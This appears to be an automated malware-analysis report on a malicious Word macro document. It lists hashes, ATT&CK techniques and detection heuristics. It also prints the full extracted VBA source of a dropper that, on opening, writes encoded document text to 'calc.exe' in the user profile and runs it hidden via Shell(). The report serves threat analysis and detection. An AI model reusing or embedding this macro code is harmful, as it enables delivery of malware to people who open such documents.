Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 2deb003f7297cb6b…

MALICIOUS

Office (OOXML)

46.3 KB Created: 2020-05-26 08:08:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-09-15
MD5: 844b0e1a8d79c5c3ecbe970e890f6ea1 SHA-1: 097548237df53b18c40a00803435f0006b1a66f2 SHA-256: 2deb003f7297cb6b40320e38aae81f62e338512bdf0acb27fb3ccdf7386b16aa
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1204.002 Malicious File T1071.001 Web Protocols

The sample is a malicious Office document containing VBA macros that execute upon opening. The Auto_Open macro is designed to write obfuscated content from the document body into a file named 'calc.exe' in the user's profile directory and then execute it using the Shell() function. This indicates a downloader or dropper functionality.

Heuristics 10

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1706 bytes
SHA-256: f58894239156374a563665660f6925d4cd7d5cbbe06010f3181894ef3738bf0a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    Pvtzd12
End Sub

Sub Pvtzd12()
    Dim Pvtzd7 As Integer
    Dim Pvtzd1 As String
    Dim Pvtzd2 As String
    Dim Pvtzd3 As Integer
    Dim Pvtzd4 As Paragraph
    Dim Pvtzd8 As Integer
    Dim Pvtzd9 As Boolean
    Dim Pvtzd5 As Integer
    Dim Pvtzd11 As String
    Dim Pvtzd6 As Byte
    Dim Szhpkmtzka As String
    Szhpkmtzka = "Szhpkmtzka"
    Pvtzd1 = "calc.exe"
    Pvtzd2 = Environ("USERPROFILE")
    ChDrive (Pvtzd2)
    ChDir (Pvtzd2)
    Pvtzd3 = FreeFile()
    Open Pvtzd1 For Binary As Pvtzd3
    For Each Pvtzd4 In ActiveDocument.Paragraphs
        DoEvents
            Pvtzd11 = Pvtzd4.Range.Text
        If (Pvtzd9 = True) Then
            Pvtzd8 = 1
            While (Pvtzd8 < Len(Pvtzd11))
                Pvtzd6 = Mid(Pvtzd11, Pvtzd8, 4)
                Put #Pvtzd3, , Pvtzd6
                Pvtzd8 = Pvtzd8 + 4
            Wend
        ElseIf (InStr(1, Pvtzd11, Szhpkmtzka) > 0 And Len(Pvtzd11) > 0) Then
            Pvtzd9 = True
        End If
    Next
    Close #Pvtzd3
    Pvtzd13 (Pvtzd1)
End Sub

Sub Pvtzd13(Pvtzd10 As String)
    Dim Pvtzd7 As Integer
    Dim Pvtzd2 As String
    Pvtzd2 = Environ("USERPROFILE")
    ChDrive (Pvtzd2)
    ChDir (Pvtzd2)
    Pvtzd7 = Shell(Pvtzd10, vbHide)
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: b7eae7d4c16adbccef7021b92d7f4082165cbce3440cf95f472178dc5e65020d
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely